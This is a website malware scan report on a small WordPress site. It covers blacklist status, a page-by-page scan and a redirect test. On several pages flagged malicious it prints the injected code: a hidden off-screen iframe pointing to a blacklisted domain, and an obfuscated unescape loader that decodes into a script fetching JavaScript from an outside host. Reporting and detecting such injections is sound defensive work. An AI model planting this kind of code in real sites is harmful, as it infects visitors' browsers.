Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=chuanqisifuchuanqisifu.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://chuanqisifuchuanqisifu.com/ | 200 OK Content-Length: 13690 Content-Type: text/html | malicious |
Page code contains blacklisted domain: adv-inc-net.com ...[15249 bytes skipped]... {"loaderUrl":"http:\/\/chuanqisifuchuanqisifu.com\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2'></script> </div> </body> </html> <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe> Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/wp-content/themes/crybook/js/switch.js | 200 OK Content-Length: 1904 Content-Type: application/javascript | clean |
http://chuanqisifuchuanqisifu.com/wp-includes/js/jquery/jquery.js?ver=1.8.3 | 200 OK Content-Length: 93658 Content-Type: application/javascript | clean |
http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.36.0-2013.06.16 | 200 OK Content-Length: 14504 Content-Type: application/javascript | clean |
http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2 | 200 OK Content-Length: 7106 Content-Type: application/javascript | clean |
http://chuanqisifuchuanqisifu.com/contact-us | 200 OK Content-Length: 10273 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%2631%264E%2631iuuq%264B00kbwbufsn/dpn0pof/kt%2631%264F%264D0tdsjqu%264F1') Antivirus reports:
Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/wp-includes/js/comment-reply.min.js?ver=3.5.1 | 200 OK Content-Length: 786 Content-Type: application/javascript | clean |
http://chuanqisifuchuanqisifu.com/our-blog | 200 OK Content-Length: 9039 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%2631%264E%2631iuuq%264B00kbwbufsn/dpn0pof/kt%2631%264F%264D0tdsjqu%264F1') Antivirus reports:
Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/privacy-policy | 200 OK Content-Length: 12521 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%2631%264E%2631iuuq%264B00kbwbufsn/dpn0pof/kt%2631%264F%264D0tdsjqu%264F1') Antivirus reports:
Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/feed | 200 OK Content-Length: 8134 Content-Type: text/xml | clean |
http://chuanqisifuchuanqisifu.com/test404page.js | HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 11 May 2014 21:10:11 GMT Location: http://chuanqisifuchuanqisifu.com Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Powered-By: PHP/5.3.28 | clean |
http://chuanqisifuchuanqisifu.com/archives/45 | 200 OK Content-Length: 9979 Content-Type: text/html | malicious |
Page code contains blacklisted domain: adv-inc-net.com ...[11092 bytes skipped]... {"loaderUrl":"http:\/\/chuanqisifuchuanqisifu.com\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2'></script> </div> </body> </html> <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe> Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/archives/category/uncategorized | 200 OK Content-Length: 14002 Content-Type: text/html | malicious |
Page code contains blacklisted domain: adv-inc-net.com ...[15623 bytes skipped]... {"loaderUrl":"http:\/\/chuanqisifuchuanqisifu.com\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2'></script> </div> </body> </html> <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe> Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/archives/author/admin | 200 OK Content-Length: 13938 Content-Type: text/html | malicious |
Page code contains blacklisted domain: adv-inc-net.com ...[15551 bytes skipped]... {"loaderUrl":"http:\/\/chuanqisifuchuanqisifu.com\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2'></script> </div> </body> </html> <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe> Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> | ||
http://chuanqisifuchuanqisifu.com/archives/1 | 200 OK Content-Length: 12108 Content-Type: text/html | malicious |
Page code contains blacklisted domain: adv-inc-net.com ...[13929 bytes skipped]... {"loaderUrl":"http:\/\/chuanqisifuchuanqisifu.com\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://chuanqisifuchuanqisifu.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.4.2'></script> </div> </body> </html> <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe> Malicious iFrame found. size: 640x480 src: http://adv-inc-net.com/trackingcode/tracker.html This URL is marked by Google as suspicious <iframe src='http://adv-inc-net.com/trackingcode/tracker.html' width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: chuanqisifuchuanqisifu.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 11 May 2014 21:10:05 GMT
Server: Apache
Content-Length: 13690
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.28
...13690 bytes of data.
GET / HTTP/1.1
Host: chuanqisifuchuanqisifu.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 11 May 2014 21:10:05 GMT
Server: Apache
Content-Length: 13690
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.28
...13690 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: chuanqisifuchuanqisifu.com
Referer: http://www.google.com/search?q=chuanqisifuchuanqisifu.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: chuanqisifuchuanqisifu.com
Referer: http://www.google.com/search?q=chuanqisifuchuanqisifu.com
Result:
The result is similar to the first query. There are no suspicious redirects found.